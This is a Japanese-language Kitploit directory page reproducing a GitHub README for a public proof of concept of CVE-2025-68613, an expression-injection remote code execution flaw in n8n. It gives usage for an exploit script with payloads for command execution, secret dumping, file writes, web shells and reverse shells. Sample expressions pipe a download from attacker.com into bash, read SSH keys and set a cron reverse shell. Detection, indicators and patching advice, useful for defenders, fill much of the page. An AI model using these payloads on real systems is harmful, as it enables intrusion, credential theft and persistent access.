Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-68613-POC — CVE-2025-68613 のパブリック PoC + スキャナとリサーチ: n8n ワークフローオートメーションにおける式インジェクションによる重大な RCE (CVSS 10.0)。検出ツール、完全なエクスプロイト、および修復ガイダンスが含まれます。 | Kitploit
ツール/GitHubGitHub/thestingr/cve-2025-68613-poc
偵察脆弱性スキャナー脆弱性分析エクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテスト論文と研究学習と教育レッドチーミングペイロード開発
267ヶ月前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHub
thestingr/cve-2025-68613-poc

CVE-2025-68613-POC

CVE-2025-68613 のパブリック PoC + スキャナとリサーチ: n8n ワークフローオートメーションにおける式インジェクションによる重大な RCE (CVSS 10.0)。検出ツール、完全なエクスプロイト、および修復ガイダンスが含まれます。

リポジトリを見る

🚨 CVE-2025-68613: n8n の重大な RCE 脆弱性

Language: Python CVSS Score: 10.0 Critical Exploit Status: Proof of Concept Available CVE Status: CVE-2025-68613 Disclosed Version: v1.0.2 Target Platform: n8n

CVE-2025-68613 PoC - TechSquad RedTeam

目次

  1. 概要
  2. n8n とは?
  3. 脆弱性の基本
  4. 技術的詳細
  5. 影響を受けるバージョン
  6. 悪用の仕組み
  7. 実際の影響
  8. 検出方法
  9. 修復と緩和策
  10. リソースと参考情報

概要

CVE-2025-68613 は、人気のオープンソースワークフロー自動化プラットフォームである n8n で発見された 重大なリモートコード実行 (RCE) 脆弱性です。この脆弱性により、認証済みユーザーがサーバー上で任意のコードを実行でき、システム全体が侵害される可能性があります。

基本情報

  • CVE ID: CVE-2025-68613
  • CVSS スコア: 9.9 - 10.0 (緊急)
  • 脆弱性の種類: 式注入 → リモートコード実行
  • CWE: CWE-913 (動的に管理されるコードリソースの不適切な制御)
  • 攻撃経路: ネットワーク
  • 認証要件: あり (低権限 - 管理者アクセスは不要) |- ステータス: PoC が利用可能 (v1.121.0 で動作確認済み)

n8n とは?

n8n はオープンソースのワークフロー自動化プラットフォームであり、ユーザーは以下のことが可能です:

  • さまざまな API、データベース、サービスを接続する
  • 反復的なビジネスプロセスを自動化する
  • 高度なコーディングを必要とせずに複雑なワークフローを作成する
  • オンプレミスまたはクラウドにデプロイする

n8n が重要なインフラである理由

組織は n8n を以下の目的で使用します:

  • データベースとクラウドサービスを統合する
  • データ処理パイプラインを自動化する
  • CRM、ERP、内部システムを接続する
  • 機密データと API 資格情報を管理する

IT インフラにおけるこの中心的な役割により、脆弱性は特に危険です。攻撃者にネットワーク全体や機密データへのアクセスを提供する可能性があるためです。


このリポジトリのツール

このリポジトリには、脆弱性の検出と悪用テストのためのすぐに使えるツールが含まれています:

1. スキャナ: cve-2025-68613-scanner.py

目的: 脆弱な n8n インスタンスを悪用しない安全な検出

特徴:

  • HTTP 応答からの受動的なバージョン検出
  • 認証不要
  • ペイロードを実行しない
  • 複数の一般的なパスをチェック (/, /rest/settings, /healthz, /api/v1/health)
  • 許可を得たセキュリティ評価に安全

使用方法:```bash python3 cve-2025-68613-scanner.py -u http://target:5678

root@kitploit:~
**Output**:
- 終了コード 0: 脆弱性なし
- 終了コード 1: バージョン特定不能(パッチ適用済みまたは非表示の可能性)
- 終了コード 2: 脆弱なバージョンを検出

### 2. Nuclei テンプレート: `CVE-2025-68613.yaml`
**目的**: 自動的な脆弱性検出と基本的な式評価テスト

**機能**:
- 有効な認証トークンが必要です
- 式インジェクションの実行可能性をテストします
- Node.js のグローバルコンテキスト(process.platform)の読み取りを試みます
- RCE ベクターを検証するテストワークフローを作成します
- CVSS 10.0 Critical の重大度分類

**使用法**:```bash
# Single target with known token
nuclei -t CVE-2025-68613.yaml -u http://target:5678 -v

# Multiple targets
nuclei -t CVE-2025-68613.yaml -l targets.txt

3. 完全なエクスプロイト: exploit_cve-2025-68613.py

目的: 複数の攻撃ペイロードを備えた完全な概念実証エクスプロイト

特徴:

  • 完全な認証処理
  • 複数のエクスプロイトペイロード:
    • info: システム情報を収集(OS、アーキテクチャ、Node.jsバージョン、現在のユーザー)
    • cmd: 任意のシステムコマンドを実行
    • env: すべての環境変数を抽出(認証情報、APIキー、シークレットを露呈)
    • read: ファイルシステムから機密ファイルを読み取り(SSHキー、設定ファイルなど)
    • write: ファイルシステムにファイルを書き込み(永続化、バックドアなど)
    • revshell: 対話型アクセスのためのリバースシェル接続を確立
  • 自動ワークフロークリーンアップ
  • エラーハンドリングとステータス報告

要件:

  • 有効なn8nユーザー資格情報(メールアドレス/パスワード)
  • Python 3.6+ と requests ライブラリ
  • ターゲットのn8nインスタンスへのネットワークアクセス

インストール:```bash pip install requests chmod +x exploit_cve-2025-68613.py

root@kitploit:~
**使用例**:```bash
# Gather system information
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload info

# Execute system command (whoami)
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload cmd --command "whoami"

# Extract all environment variables (credentials, API keys)
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload env

# Read sensitive files
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload read --file "/etc/passwd"

# Establish reverse shell (requires netcat listener)
# On attacker machine: nc -lvnp 4444
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload revshell --lhost 10.10.14.5 --lport 4444

# Write a web shell for persistence
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload write \  
  --file "/tmp/shell.php" --content '<?php system($_GET["cmd"]); ?>'

しくみ:

  1. 提供された認証情報を使用して n8n に認証する
  2. 式インジェクションペイロードを含む悪意のあるワークフローを作成する
  3. this.constructor.constructor() を使用して式サンドボックスを突破する
  4. process.platform やその他の Node.js API を介してペイロードを実行する
  5. ワークフロー実行から結果を取得する
  6. テストワークフローを削除して後始末する

終了コード:

  • 0: 悪用に成功
  • 1: 認証または悪用に失敗

脆弱性の基本

問題は何か?

簡単に言うと: n8n では、ユーザーがワークフロー内で式を使用してデータを動的に処理できます。しかし、これらの式は適切なサンドボックス化なしに評価されるため、攻撃者は意図された実行コンテキストを突破して、サーバー上で任意のコードを実行できます。

核心となる問題

n8n でワークフローを作成するとき、「式」を使用してデータを操作できます。これらの式は制限された環境で実行されることになっています。しかし、この脆弱性により、これらの式が基盤となるシステムにアクセスでき、攻撃者は以下を行うことができます:

  1. システムコマンドを実行する
  2. サーバー上のファイルを読み書きする
  3. 環境変数(APIキー、パスワード、シークレット)を盗む
  4. データを変更または削除する
  5. 長期的なアクセスのために永続化を確立する

なぜこれほど危険なのか

  • 参入障壁が低い: ユーザーログインのみが必要(特別な管理者権限は不要)
  • 適用範囲が広い: 多くの組織が非技術系ユーザーにワークフロー作成を許可している
  • 影響が大きい: n8n プロセスのすべての権限で実行される
  • データアクセス: n8n がアクセスできるすべてのデータ(データベース、API、認証情報)にアクセスできる
  • ネットワーク上の位置: n8n は多くの場合、重要なインフラストラクチャの中心に位置するため、横移動が可能になる

技術的詳細

脆弱性の仕組み

ステップ 1: ワークフロー式の評価

ユーザーが n8n でワークフローを作成すると、式を使用してデータを処理できます:``` Input: User creates a workflow with an expression n8n Expression Engine: Evaluates the expression Expected Output: Processed data Actual Output (Vulnerable): Expression execution context not isolated from runtime

root@kitploit:~
#### ステップ2: 式インジェクション
攻撃者は、意図されたサンドボックスから脱出する悪意のある式を作成します:```javascript
// Example: Malicious expression in workflow
${require('child_process').execSync('id')}

ステップ 3: コード実行

式は適切な分離なしに評価され、攻撃者は以下のことが可能になります:

  • システム関数の呼び出し
  • シェルコマンドの実行
  • ファイルシステムへのアクセス
  • 環境変数の読み取り

根本原因

この脆弱性は、式評価エンジンにおける不十分なサンドボックス化に起因します。n8nチームは、以下のようなコンテキストで式を評価していました:

  • require() または類似のモジュールロード関数へのアクセスを許可していた
  • システムAPIへのアクセスを適切に制限していなかった
  • 式の構文を検証またはフィルタリングしていなかった
  • プロトタイプ汚染攻撃を防いでいなかった
  • 実行環境を基盤となるNode.jsランタイムから分離していなかった

コード実行パス```

User Input (Workflow Expression) ↓ Expression Parser ↓ Evaluation Engine (VULNERABLE - Not Sandboxed) ↓ Direct Access to Node.js Runtime ↓ System Command Execution / File Access / Credential Theft

root@kitploit:~
---

## 影響を受けるバージョン

### 脆弱性のある範囲

**0.211.0** 以降のすべての n8n バージョンで、以下のバージョンまでが脆弱です:
- `0.211.0` → `1.120.3`
- `1.121.0`

### パッチ適用済みバージョン

この脆弱性は以下で修正されています:
- ✅ `1.120.4` および 1.120.x ブランチのそれ以降
- ✅ `1.121.1` および 1.121.x ブランチのそれ以降
- ✅ `1.122.0` およびすべての新しいバージョン

### 自分のバージョンを確認する方法```bash
# If n8n is running
curl http://your-n8n-instance:5678/ | grep -i "version"

# Or check the admin panel
# Go to Settings → About → Version

テスト済みバージョンと互換性

動作確認済み

  • n8n v1.121.0: ✅ 完全に悪用可能(RCE確認済み、式インジェクション動作確認済み)
  • n8n v0.211.0 - v1.120.3: ✅ NVDによる脆弱性の範囲内(個別にはテスト未実施)

既知の問題

  • REST実行の制限: /rest/workflows/{id}/run エンドポイントは v1.121.0 で HTTP 500 エラーを返します
    • 回避策: 式インジェクションは完全に動作し、RCEは次の方法で確認済み:
      1. UIの「テストステップ」ボタンの手動クリック(動作実証済み)
      2. ワークフロー出力の取得
    • これはAPIの制限であり、エクスプロイトのバグではありません

未テスト

  • n8n v0.212.0+: 文書化された脆弱性の範囲外であり、修正済みの可能性が高い(GitHub issue #1 を参照)
  • Windows Serverデプロイ: Windows固有環境でのテストデータは限定的

バージョンサポートに関する声明

このエクスプロイトは、NVDに文書化された脆弱性の範囲に対して動作するように設計されています:

  • 脆弱性確認済み: 0.211.0 から 1.120.3、および 1.121.0
  • 修正済みバージョン: 1.120.4、1.121.1、1.122.0 以降

この範囲外のバージョンに対してテストする場合、成功は保証されません。


悪用の仕組み

攻撃者は何ができるのか?

認証されたユーザー(または有効な認証情報を持つ攻撃者)がこの脆弱性を悪用すると、次のことが可能です:

1. 任意のシステムコマンドを実行```javascript

${require('child_process').execSync('whoami').toString()} // Returns: root (or whatever user runs n8n)

${require('child_process').execSync('curl attacker.com/shell.sh | bash').toString()} // Downloads and executes a shell script

root@kitploit:~
#### 2. サーバーからファイルを読み取る```javascript
${require('fs').readFileSync('/etc/passwd', 'utf-8')}
// Reads sensitive system files

${require('fs').readFileSync('/home/user/.ssh/id_rsa', 'utf-8')}
// Steals SSH keys

3. 環境変数の読み取り```javascript

${Object.keys(process.env).join(', ')} // Lists all environment variables

${process.env.DATABASE_PASSWORD} // Extracts specific secrets

root@kitploit:~
#### 4. 悪意のあるファイルを書き込む```javascript
${require('fs').writeFileSync('/var/www/shell.php', 'malicious code')}
// Plants a web shell for persistence

${require('fs').writeFileSync('/home/user/.ssh/authorized_keys', 'attacker_key')}
// Adds SSH access

5. 接続済みサービスへのアクセス```javascript

// Access workflow credentials (stored API keys, passwords) // Modify or view connected databases // Exfiltrate data from all integrated systems

root@kitploit:~
#### 6. 永続化の確立```javascript
${require('child_process').execSync('echo "* * * * * /bin/bash -i >& /dev/tcp/attacker.com/443 0>&1" | crontab -')}
// Creates a cron job for reverse shell access

${require('child_process').execSync('useradd -m -s /bin/bash attacker')}
// Creates a new user account

攻撃シナリオ例

現実のシナリオ: n8n を使用する企業

  1. 攻撃者が認証情報を入手: フィッシング、認証情報の再利用、または弱いパスワードによる
  2. n8n にログイン: 正当なユーザーアカウントを使用
  3. 「無害な」ワークフローを作成: データ処理用だと主張
  4. 悪意のある式を注入: ワークフローステップにエクスプロイトを隠す
  5. コードを実行: n8n プロセスの権限でコマンドを実行
  6. データを外部送信: API キー、データベース認証情報、顧客データを窃取
  7. 永続化を確立: バックドアをインストールし、新しい管理者アカウントを作成
  8. 横展開: 窃取した認証情報を使用して他のシステムにアクセス

実際の影響

機密性への影響 (高)

  • ワークフローで処理される機密データへのアクセス
  • API キー、データベースパスワード、暗号化キーの抽出
  • 設定ファイル、ログ、シークレットの読み取り
  • データ窃取による GDPR/コンプライアンス違反の可能性

整合性への影響 (高)

  • 運用を妨害するための既存ワークフローの改変
  • データを破壊する悪意のあるワークフローの注入
  • 下流システムに影響するワークフロー出力の改ざん
  • 永続アクセスのためのバックドアの埋め込み

可用性への影響 (高)

  • 重要なワークフローの削除による業務中断
  • サービス停止につながるシステムファイルの改変
  • 悪意のある自動化によるリソース枯渇
  • システム復旧と引き換えに身代金を要求するランサム攻撃

ビジネス影響の例

製造業の企業

  • n8n は受注処理と在庫管理を自動化
  • 攻撃者が顧客注文と仕入先情報を外部送信
  • ワークフローを改変して誤った製品を顧客に送付
  • 結果: 顧客の信頼喪失、法的責任、業務中断

金融サービス

  • n8n は銀行 API と決済処理を統合
  • 攻撃者が API 認証情報と認証トークンを窃取
  • 取引をリダイレクトまたは不正な記録を作成
  • 結果: 規制上の罰則、顧客への補償、評判の失墜

医療機関

  • n8n は患者データの統合とレポートを処理
  • 攻撃者が保護健康情報 (PHI) にアクセス
  • 医療記録を改ざんまたは重大なアラートを妨害
  • 結果: HIPAA 違反、患者への危害、組織の責任

検出方法

方法 1: バージョン検出スキャナー

安全で悪用しない検出スクリプト (元のリポジトリに同梱):```bash python3 CVE-2025-68613.py -u http://your-n8n-instance:5678

root@kitploit:~
**出力例**```
[+] Target: http://127.0.0.1:5678
[+] Possible n8n detected at /
[+] Detected version: 1.120.2

--- Result ---
🚨 VULNERABLE
Target version is affected by CVE-2025-68613

方法2: Nucleiテンプレートの使用

Nucleiによる自動スキャン:```bash

Single target

nuclei -t CVE-2025-68613.yaml -u http://target:5678

Multiple targets from file

nuclei -t CVE-2025-68613.yaml -l targets.txt

root@kitploit:~
**動作の仕組み**:
1. 一般的なn8nパスにHTTPリクエストを送信します
2. HTML/ヘッダーからバージョンメタデータを抽出します
3. 存在する場合、base64エンコードされた設定をデコードします
4. バージョンを脆弱性のある範囲と比較します
5. インスタンスが脆弱であるかどうかを報告します

### 方法3: 手動バナー取得```bash
# Check for n8n in HTTP response
curl -s http://target:5678/ | grep -i "n8n"

# Check headers
curl -I http://target:5678/ | grep -i "n8n"

# Check common paths
curl -s http://target:5678/api/v1/health
curl -s http://target:5678/rest/settings
curl -s http://target:5678/healthz

方法 4: ネットワーク偵察```bash

Find n8n instances using Shodan

shodan search "n8n" --limit 10

Use favicon hash detection

nmap -p 5678 --script http-favicon target.com

root@kitploit:~
### 悪用の兆候(IOC)

**ログの兆候**:
- ワークフローログにおける異常な式評価
- システムコマンドを含む式エラー
- 機密ファイルへのアクセス(例:/etc/passwd への参照)
- n8nプロセスからの予期しないプロセス起動

**システムの兆候**:
- サーバー上に作成された新しいユーザーアカウント
- authorized_keys 内の予期しないSSHキー
- 新しいcronジョブまたはスケジュールされたタスク
- システムファイルの変更
- n8nサーバーからのリバースシェル接続

---

## 修復と緩和策

### 主要な解決策:即時アップグレード

**これはこの脆弱性に対する唯一の完全な修正です。**

#### ステップ1:データのバックアップ```bash
# Backup n8n database
cp -r /path/to/n8n/database ./backup/

# Backup workflows
n8n export --backup-dir ./backup/

ステップ 2: n8n を更新

Docker を使用(推奨):```bash

Pull the latest patched version

docker pull n8nio/n8n:1.122.0 # Or later

Stop current instance

docker stop n8n-container

Start with new version

docker run -d --name n8n-patched
-p 5678:5678
-v n8n_data:/home/node/.n8n
n8nio/n8n:1.122.0

root@kitploit:~
**npm の使用**:```bash
# Backup first
npm run export --backup

# Update
npm update n8n

# Or specific version
npm install [email protected]

システムパッケージマネージャーの使用:```bash

Debian/Ubuntu

sudo apt update && sudo apt upgrade n8n

Or manual download

wget https://github.com/n8n-io/n8n/releases/download/[email protected]/n8n.tar.gz

root@kitploit:~
#### ステップ 3: アップデートを確認する```bash
# Check version after update
curl http://localhost:5678/api/v1/health | grep version

# Ensure n8n is running
curl http://localhost:5678/ | grep -i "n8n"

一時的な緩和策: アップグレード中

重要: これらは脆弱性を修正するものではありません。アップグレードを計画している間の一時的な対策としてのみ使用してください。

1. ワークフローの権限を制限する```

n8n Admin Panel → Users & Permissions ├── Disable "User Can Create Workflows" for non-admin users ├── Restrict "User Can Edit Workflows" to trusted administrators only ├── Review existing user roles and remove unnecessary permissions └── Audit workflow creators for suspicious accounts

root@kitploit:~
#### 2. ワークフローの変更を監視```
n8n Admin Panel → Settings → Audit Log
├── Enable comprehensive audit logging
├── Monitor for suspicious workflow modifications
├── Alert on expression evaluations in logs
└── Review workflow change history regularly

3. ネットワーク分離```bash

Restrict n8n network access

sudo ufw default deny incoming sudo ufw allow from 192.168.1.0/24 to any port 5678 # Only internal network sudo ufw enable

Or using iptables

sudo iptables -A INPUT -p tcp --dport 5678 -s 192.168.1.0/24 -j ACCEPT sudo iptables -A INPUT -p tcp --dport 5678 -j DROP

root@kitploit:~
#### 4. n8nを最小権限で実行する```bash
# Create dedicated n8n user
sudo useradd -r -s /bin/false n8n-user

# Run n8n as this user
sudo -u n8n-user n8n

# Or in Docker with user specification
docker run -u 1000 n8nio/n8n:latest

5. 強力な認証の有効化```

n8n Admin Panel → Settings → Authentication ├── Enable 2FA for all accounts ├── Enforce strong password policies ├── Review and disable unnecessary service accounts ├── Implement SSO if available └── Disable any guest/demo accounts

root@kitploit:~
#### 6. コンテナ化と分離```bash
# Run n8n in a restricted Docker container
docker run -d \
  --security-opt=no-new-privileges:true \
  --read-only \
  --cap-drop=ALL \
  --cap-add=NET_BIND_SERVICE \
  --tmpfs /tmp \
  -p 5678:5678 \
  n8nio/n8n:current-version

7. 定期的な監査```bash

Monitor for suspicious activities

Check for new files in n8n directories

find /path/to/n8n -type f -mtime -1

Monitor process activity

ps aux | grep n8n netstat -tlnp | grep n8n

Check for unauthorized SSH keys

cat ~/.ssh/authorized_keys

Review system logs

journalctl -u n8n -n 100

root@kitploit:~
---

## リスク評価マトリクス

| Scenario | Risk Level | Likelihood | Impact | Priority |
|----------|-----------|-----------|--------|----------|
| パッチ未適用でインターネットに公開されたn8n | 重大 | 高 | 完全な侵害 | 🔴 緊急 |
| パッチ未適用で内部限定のn8n | 高 | 中 | 内部関係者による脅威リスク | 🟠 高 |
| パッチ適用済みのn8n | 低 | 低 | 該当なし | ✅ 解決済み |
| パッチ未適用+権限制限 | 中 | 中 | 信頼できるユーザーに限定 | 🟡 中 |

---

## 侵害された場合の段階的復旧手順

### 即時対応(最初の1時間)
1. **システムを隔離する**: ネットワークから切断する
2. **サービスを停止する**: `sudo systemctl stop n8n`
3. **ログを保全する**: 消去前にすべてのログをバックアップする
4. **チームに警告する**: セキュリティチームと管理部門に通知する
5. **影響範囲を評価する**: n8nがアクセスしたデータを特定する

### 調査(初日)
1. **監査ログを確認する**: 不審なアクティビティを確認する
2. **ネットワークトラフィックを分析する**: データの外部持ち出しを探す
3. **ファイルの変更を確認する**: 埋め込まれたバックドアを探す
4. **ユーザーアカウントを確認する**: 新規または変更されたアカウントを探す
5. **認証情報の監査**: n8nが使用するすべてのAPIキーとパスワードをリセットする

### 是正(2日目〜7日目)
1. **システム全体の再構築**: 更新するだけでなく、クリーンなイメージから再構築する
2. **認証情報のローテーション**: すべてのパスワード、APIキー、トークンをリセットする
3. **すべてにパッチを適用する**: 接続されているすべてのシステムを更新する
4. **バックアップから復元する**: 侵害前のクリーンなバックアップを使用する
5. **セキュリティ監査**: 完全なセキュリティ評価を実施する

### 事後対応(2週目以降)
1. **モニタリングの導入**: 継続的なログ記録とアラートを設定する
2. **プロセスの変更**: インシデントレスポンス手順を更新する
3. **ユーザートレーニング**: チームにセキュリティのベストプラクティスを教育する
4. **脆弱性スキャン**: 類似の問題を定期的にスキャンする
5. **コンプライアンスレビュー**: すべての規制(GDPR、HIPAAなど)を満たしていることを確認する

---

## 今後の予防策

### n8nのセキュリティベストプラクティス

1. **n8nを最新の状態に保つ**
   - 利用可能な場合は自動更新を有効にする
   - n8nのセキュリティアドバイザリを購読する
   - パッチを本番環境に適用する前にステージング環境でテストする

2. **アクセス制御**
   - 最小権限の原則を使用する
   - 強力なパスワードと2FAを要求する
   - エンタープライズ展開にはSSOを実装する
   - 定期的なアクセスレビューと監査を実施する

3. **ワークフロー管理**
   - 不審なロジックがないかすべてのワークフローをレビューする
   - ワークフローに対するコードレビュープロセスを実装する
   - 命名規則を使用して重要なワークフローを識別する
   - ワークフローを定期的にバックアップする

4. **認証情報管理**
   - ワークフローに認証情報を保存しない
   - 機密データには環境変数を使用する
   - 認証情報を定期的にローテーションする
   - 認証情報へのアクセスを監査する

5. **モニタリングとロギング**
   - 包括的な監査ログを有効にする
   - 異常なアクティビティを監視する
   - 不審な操作に対するアラートを設定する
   - 定期的なログのレビューと分析を実施する

6. **ネットワークセキュリティ**
   - n8nを分離されたネットワークセグメントで実行する
   - ネットワークアクセスを必要なサービスのみに制限する
   - リモートアクセスにはVPN/ファイアウォールを使用する
   - ネットワークトラフィックの異常を監視する

7. **インシデントレスポンス**
   - インシデントレスポンス計画を作成する
   - エスカレーション手順を定義する
   - 定期的にセキュリティ訓練を実施する
   - 最新の連絡先リストを維持する

---

## トラブルシューティング

### 問題: "Exit code 1: Authentication or exploitation failed"

**一般的な原因**:
1. **認証情報の誤り**(最も一般的)
   - 解決策: まずWeb UIログインで認証情報が機能することを確認する
   - 試す: `curl -X POST http://target:5678/rest/login -d '{"emailOrLdapLoginId":"[email protected]","password":"pass"}'`

2. **ユーザーにワークフロー作成権限がない**
   - 解決策: ワークフロー作成権限を持つ管理者またはユーザーアカウントを使用する
   - 確認: 管理パネル → ユーザーと権限

3. **バージョンがパッチ適用済み**(バージョン > 1.121.0)
   - 解決策: まずスキャナーでバージョンを確認する: `python3 cve-2025-68613-scanner.py -u http://target:5678`
   - 期待される結果: スキャナーが "Vulnerable"(終了コード2)と報告するはずです

4. **API構造が変更された**(古い/新しいバージョンでは異なる場合がある)
   - 解決策: NVDアドバイザリを確認する: https://nvd.nist.gov/vuln/detail/CVE-2025-68613
   - ドキュメントに記載された範囲外のバージョンをテストしている場合に最も可能性が高い

5. **ネットワーク/ファイアウォールによるブロック**
   - 解決策: 接続を確認する: `curl http://target:5678/`
   - 確認: ファイアウォールルール、プロキシ設定、SSL証明書

### 問題: スキャナーが誤検知を報告する(間違ったバージョンを検出する)

**v1.02で修正**: スキャナーは単純な正規表現の代わりに、メタタグからbase64デコードされたSentry設定を使用するようになりました。これにより、Node.jsバージョンがn8nバージョンとして検出される誤検知が排除されます。

**変更内容**:
- 主要な情報源: `<meta name="n8n:config:sentry" content="[BASE64]">` を抽出してデコードする
- フォールバック: Sentry設定が利用できない場合のみ正規表現を使用する
- 結果: 誤検知のない正確なバージョン検出

**v1.02スキャナーを使用するには**:```bash
# Update to v1.02
git pull origin main

# Run scanner
python3 cve-2025-68613-scanner.py -u http://target:5678

問題: REST 実行で 500 エラーが返る

これはエクスプロイトのバグではなく、API の制限です。

説明:

  • /rest/workflows/{id}/run エンドポイントは n8n v1.121.0 で HTTP 500 を返します
  • これは n8n API の設計上の制限であり、エクスプロイトのバグではありません
  • 式インジェクションは UI 経由で引き続き動作します

回避策:

  1. エクスプロイトが悪意のある式を含むワークフローを作成 ✅ 動作します
  2. 式が評価されコードが実行される ✅ 動作します (手動テストで実証済み)
  3. UI の「Test Step」ボタンを手動でクリックして式をトリガー ✅ 動作します
  4. ワークフロー結果から出力を読み取る ✅ 動作します

証拠: TryHackMe でフラグを取得: THM{n8n_exposed_workflow}


リソースと参考文献

公式ソース

  • n8n GitHub リポジトリ: https://github.com/n8n-io/n8n
  • n8n セキュリティアドバイザリ: https://github.com/n8n-io/n8n/security/advisories
  • n8n ドキュメント: https://docs.n8n.io/

CVE 情報

  • NVD エントリ: https://nvd.nist.gov/vuln/detail/CVE-2025-68613
  • CVEDetails: https://www.cvedetails.com/cve/CVE-2025-68613/
  • CVETodo: https://cvetodo.com/cve/CVE-2025-68613

セキュリティリソース

  • NIST CWE-913: https://cwe.mitre.org/data/definitions/913.html
  • OWASP コードインジェクション: https://owasp.org/www-community/attacks/Code_Injection
  • OWASP サンドボックス回避: https://owasp.org/www-community/attacks/Sandbox_Escape

まとめ

CVE-2025-68613 は、直ちに対処が必要な重大な脆弱性です。以下の組み合わせにより:

  • 式インジェクションの機能
  • サンドボックス化の欠如
  • 低い権限要件
  • 広い攻撃対象領域 (多くのユーザーがワークフローを作成する)
  • IT インフラストラクチャにおける中心的な位置

...これにより、ワークフロー自動化プラットフォームの中でも最も危険な脆弱性の 1 つとなっています。

簡単な解決策: パッチが適用されたバージョンに直ちにアップグレードしてください。パッチが利用可能であるにもかかわらず、重大な RCE に対して脆弱なままでいる言い訳はありません。


ドキュメントバージョン

|- バージョン: 1.02 |- 作成日: 2025年12月18日 |- 最終更新日: 2025年12月26日

  • ステータス: 完了
  • 著者: The StingR / TechSquad Inc.
  • 組織: TechSquad Inc.

免責事項

このドキュメントは、教育および許可されたセキュリティ評価の目的のみで提供されます。コンピュータシステムへの不正アクセスは違法です。所有していないシステムをテスト、評価、またはアクセスする前に、必ず適切な許可を得てください。


⚠️ 注意: 脆弱なバージョンを実行している場合は、n8n インスタンスを直ちに更新してください。

ツールをダウンロード